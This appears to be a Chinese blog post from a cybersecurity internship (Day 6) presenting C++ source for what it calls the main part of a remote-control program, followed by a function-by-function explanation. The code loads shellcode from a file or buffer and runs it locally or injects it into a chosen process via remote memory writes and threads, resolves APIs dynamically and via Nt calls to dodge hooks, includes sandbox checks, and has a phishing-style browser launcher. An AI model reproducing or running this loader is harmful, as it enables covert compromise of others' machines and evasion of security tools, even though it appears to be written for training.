网络安全生产实习Day 6

#include "myFunch.h"
#include "SandBox.h"
//上线
//字符转宽字符
//加载shellcode
wchar_t* AtoW(char** a) {
    setlocale(LC_ALL, "");

    // 原始的char*字符串
    char* char_str = *a;

    // 确定所需的wchar_t缓冲区的大小
    size_t wchar_size = mbstowcs(NULL, char_str, 0) + 1;
    if (wchar_size == (size_t)-1) {
        perror("mbstowcs");
        return 0;
    }

    // 分配wchar_t缓冲区
    wchar_t* wchar_str = (wchar_t*)malloc(wchar_size * sizeof(wchar_t));
    if (wchar_str == NULL) {
        perror("malloc");
        return 0;
    }

    // 执行转换
    mbstowcs(wchar_str, char_str, wchar_size);
    return wchar_str;
}

//读取shellcode
// 从文件中读取数据并返回
char* ReadFile(SIZE_T* length, char* file) {
    char* filename = file; // 将输入的文件名存储在变量filename中
    ifstream infile; // 创建一个输入文件流对象
    infile.open(filename, ios::out | ios::binary); // 以二进制只写模式打开文件

    // 获取文件大小
    infile.seekg(0, infile.end); // 将文件指针移动到文件末尾
    *length = infile.tellg(); // 获取文件指针当前位置,即文件大小
    infile.seekg(0, infile.beg); // 将文件指针移动回文件开头

    // 分配内存以存储文件数据
    char* data = new char[*length]; // 使用文件大小分配内存

    // 如果文件成功打开,则读取文件内容
    if (infile.is_open()) {
        cout << "reading from the file" << endl; // 输出提示信息
        infile.read(data, *length); // 读取文件内容到data中
    }

    return data; // 返回读取的文件数据
}


//注入进程
void Inject(char* argv[]) {
    SIZE_T length = 0;
    char* data;
    data = ReadFile(&length, argv[2]);

    /*LPVOID mem = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(mem, data, length);
    EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);*/

    HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);   //快照(留像)
    if (snapshot_handle != INVALID_HANDLE_VALUE) {
        // 枚举进程
        PROCESSENTRY32 process_entry;
        process_entry.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(snapshot_handle, &process_entry)) {
            do {
                // 将进程名转换为宽字符串
                std::wstring extFileName(process_entry.szExeFile);
                wchar_t* exename = AtoW(&argv[3]);
                // 如果进程名包含 "msedge.exe" 则进行以下操作  std::string::npos == 当初遍历的进程名
                if (extFileName.find(exename) != std::string::npos) {
                    // 打开进程
                    fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess");
                    HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
                    if (process_handle != NULL) {
                        // 在远程进程中分配内存
                        fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx");
                        LPVOID remote_buffer = myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                        if (remote_buffer != NULL) {
                            SIZE_T bytes_written;
                            // 将 code 写入远程进程内存
                            if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
                                std::cout << "Remote buffer address: " << remote_buffer << std::endl;

                                // 在远程进程中创建线程执行 code
                                HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
                                if (remote_thread != NULL) {
                                    // 等待线程结束
                                    WaitForSingleObject(remote_thread, INFINITE);
                                    CloseHandle(remote_thread);
                                }
                            }
                            // 关闭远程内存句柄
                            CloseHandle(remote_buffer);
                        }
                        // 关闭进程句柄
                        CloseHandle(process_handle);
                    }
                }
            } while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
        }
        // 关闭进程快照句柄
        CloseHandle(snapshot_handle);
    }
}

//正常上线
// 正常上线函数
VOID Normal(char* argv[]) {
    SIZE_T length = 0; // 用于存储文件大小
    char* data = NULL; // 存储从文件中读取的数据

    // 从文件中读取数据
    data = ReadFile(&length, argv[2]);

    // 获取VirtualAlloc、CreateThread和WaitForSingleObject函数的地址
    fn_VirtualAlloc myVirtualAlloc = (fn_VirtualAlloc)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
    fn_CreateThread myCreateThread = (fn_CreateThread)GetProcAddress(LoadLibraryA("kernel32.dll"), "CreateThread");
    fn_WaitForSingleObject myWaitForSingleObject = (fn_WaitForSingleObject)GetProcAddress(LoadLibraryA("kernel32.dll"), "WaitForSingleObject");

    // 在远程进程中分配内存
    LPVOID shell_addr = myVirtualAlloc(NULL, length, 0x00001000, 0x40);

    // 将数据复制到分配的内存中
    memcpy(shell_addr, data, length);

    // 创建远程线程执行代码
    HANDLE HThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0);

    // 等待线程结束
    myWaitForSingleObject(HThread, -1);
}
//直接到缓存区
// 直接到缓存区函数
void Direct() {
    size_t length; // 用于存储数据长度
    unsigned char* data = assemble_data(&length); // 调用assemble_data函数获取数据并存储在data中

    // 获取VirtualAlloc、CreateThread和WaitForSingleObject函数的地址
    fn_VirtualAlloc myVirtualAlloc = (fn_VirtualAlloc)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
    fn_CreateThread myCreateThread = (fn_CreateThread)GetProcAddress(LoadLibraryA("kernel32.dll"), "CreateThread");
    fn_WaitForSingleObject myWaitForSingleObject = (fn_WaitForSingleObject)GetProcAddress(LoadLibraryA("kernel32.dll"), "WaitForSingleObject");

    // 在当前进程中分配内存
    LPVOID shell_addr = myVirtualAlloc(NULL, length, 0x00001000, 0x40);

    // 将数据复制到分配的内存中
    memcpy(shell_addr, data, length);

    // 创建线程执行代码
    HANDLE HThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0);

    // 等待线程结束
    myWaitForSingleObject(HThread, -1);
}

//检查沙箱特征(沙箱与正常主机不同的地方)
//cpu核心数(少),没有外连接的设备,时间流速
void CheckSandBox() {
    Check_MulDiv_1();
    Check_MulDiv_2();

}

//NT函数调用
//Hook(钩子)对系统的函数进行更改
//
// NT函数调用函数
void NtCall(char* argv[]) {
    SIZE_T length = 0; // 用于存储文件大小
    char* data = NULL; // 存储从文件中读取的数据

    // 从文件中读取数据
    data = ReadFile(&length, argv[2]);

    // 获取NtAllocateVirtualMemory和NtCreateThreadEx函数的地址
    fn_NtAllocateVirtualMemory myNtAllocateVirtualMemory = (fn_NtAllocateVirtualMemory)GetProcAddress(LoadLibraryA("nt.dll"), "NtAllocateVirtualMemory");
    fn_NtCreateThreadEx myNtCreateThreadEx = (fn_NtCreateThreadEx)GetProcAddress(LoadLibraryA("nt.dll"), "NtCreateThreadEx");

    HANDLE hRemoteThread = NULL; // 远程线程句柄
    HANDLE process = GetCurrentProcess(); // 获取当前进程句柄

    LPVOID shell_addr = NULL; // 用于存储分配的内存地址

    // 在当前进程中分配内存
    myNtAllocateVirtualMemory(GetCurrentProcess(), &shell_addr, 0, (PULONG)&length, 0x00001000, 0x40);

    // 将数据复制到分配的内存中
    memcpy(shell_addr, data, length);

    // 创建远程线程执行代码
    myNtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0, 0, 0, 0);

    // 等待远程线程结束
    WaitForSingleObject(hRemoteThread, -1);
}

//
// 打开浏览器并访问指定网址的函数
void Fish(char web[]) {
    char command[512] = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\""; // 设置浏览器路径
    strcat(command, web); // 将网址添加到命令中

    // 初始化进程信息结构体和启动信息结构体
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si)); // 清空si结构体
    si.cb = sizeof(si); // 设置si结构体的大小
    ZeroMemory(&pi, sizeof(pi)); // 清空pi结构体

    // 创建新进程打开浏览器并访问指定网址
    if (!CreateProcessA("C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", // 浏览器程序路径
        command, // 带有网址的命令
        0, // 进程安全属性
        0, // 线程安全属性
        FALSE, // 是否继承句柄
        0, // 创建标志
        NULL, // 环境变量
        NULL, // 工作目录
        &si, // 启动信息结构体
        &pi)) // 进程信息结构体
    {
        // 如果创建进程失败,调用Direct()函数
        Direct();
    }
}

// 远控的上线程序会变成你的注入目标程序
// User,管理员,System
// 主函数
// 主函数
int main(int argc, char* argv[]) {
    // 如果没有输入参数,则直接调用Direct()函数
    if (argc == 1) {
        Direct();
    }

    // 如果有输入参数
    if (argc > 1) {
        // 如果第一个参数是"-i",则根据第二个和第三个参数执行注入功能
        if (strcmp(argv[1], "-i") == 0) {
            if (argc == 4) {
                printf("Injecting!!!\n");
                Inject(argv);
            }
            else {
                printf("注入方式:-i 路径 进程名\n");
            }
        }

        // 如果第一个参数是"-d",则执行正常启动功能
        if (strcmp(argv[1], "-d") == 0) {
            Normal(argv);
        }

        // 如果第一个参数是"-h",显示帮助信息
        if (strcmp(argv[1], "-h") == 0) {
            printf("-i Inject\n-h help\n-d normal\n-s CheckSandBox\n");
        }

        // 如果第一个参数是"-s",执行检查沙箱特征功能
        if (strcmp(argv[1], "-s") == 0) {
            CheckSandBox();
        }

        // 如果第一个参数是"-n",根据第二个参数执行NT函数调用功能
        if (strcmp(argv[1], "-n") == 0) {
            if (argc != 3) {
                printf("需要shellcode路径\n");
            }
            else {
                NtCall(argv);
            }
        }

        // 如果第一个参数是"-g",提示用户输入网址并调用Fish函数
        if (strcmp(argv[1], "-g") == 0) {
            char web[50]; // 用于存储网址
            printf("输入网址\n");
            scanf("%s", &web);
            Fish(web);
        }
    }

    return 0; // 程序正常结束
}
/*1.  int main(int argc, char* argv[]) :主函数,程序的入口点。

2.  if (argc == 1) :如果用户没有输入任何参数,则调用 Direct() 函数。

3.  if (argc > 1) :如果用户输入了参数,则根据第一个参数的值执行相应的功能。

4.  if (strcmp(argv[1], "-i") == 0) :如果第一个参数是"-i",则根据第二个和第三个参数执行注入功能。

5.  if (strcmp(argv[1], "-d") == 0) :如果第一个参数是"-d",则执行正常启动功能。

6.  if (strcmp(argv[1], "-h") == 0) :如果第一个参数是"-h",则显示帮助信息。

7.  if (strcmp(argv[1], "-s") == 0) :如果第一个参数是"-s",则执行检查沙箱特征功能。

8.  if (strcmp(argv[1], "-n") == 0) :如果第一个参数是"-n",则根据第二个参数执行NT函数调用功能。

9.  if (strcmp(argv[1], "-g") == 0) :如果第一个参数是"-g",则要求用户输入网址并调用 Fish() 函数。

10.  return 0 :程序正常结束。*/

以上代码是一个远控程序的主要部分,主要功能包括文件操作、进程注入、远程线程创建、沙箱特征检测、NT函数调用和打开浏览器访问网址等。下面是对代码的原理与作用的解释:

1. AtoW 函数:将 char* 类型的字符串转换为 wchar_t* 类型的宽字符字符串。

2. ReadFile 函数:从文件中读取数据并返回读取的数据内容。

3. Inject 函数:实现进程注入的功能,通过获取进程句柄、在远程进程中分配内存、写入数据、创建远程线程执行代码来实现注入。

4. Normal 函数:实现正常上线的功能,从文件中读取数据后,在当前进程中分配内存、复制数据、创建线程执行代码并等待线程结束。

5. Direct 函数:实现直接到缓存区的功能,通过调用 assemble_data 函数获取数据,分配内存、复制数据、创建线程执行代码并等待线程结束。

6. CheckSandBox 函数:检查沙箱特征,包括CPU核心数、外部设备连接情况、时间流速等。

7. NtCall 函数:实现NT函数调用的功能,从文件中读取数据后,在当前进程中分配内存、复制数据,使用NT函数 NtAllocateVirtualMemoryNtCreateThreadEx 创建远程线程执行代码并等待线程结束。

8. Fish 函数:打开浏览器并访问指定网址的功能,通过创建新进程打开浏览器并访问指定网址。 9. main 函数:根据命令行参数执行相应的功能,包括注入进程、正常启动、显示帮助信息、检查沙箱特征、NT函数调用和打开浏览器访问网址等功能。

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值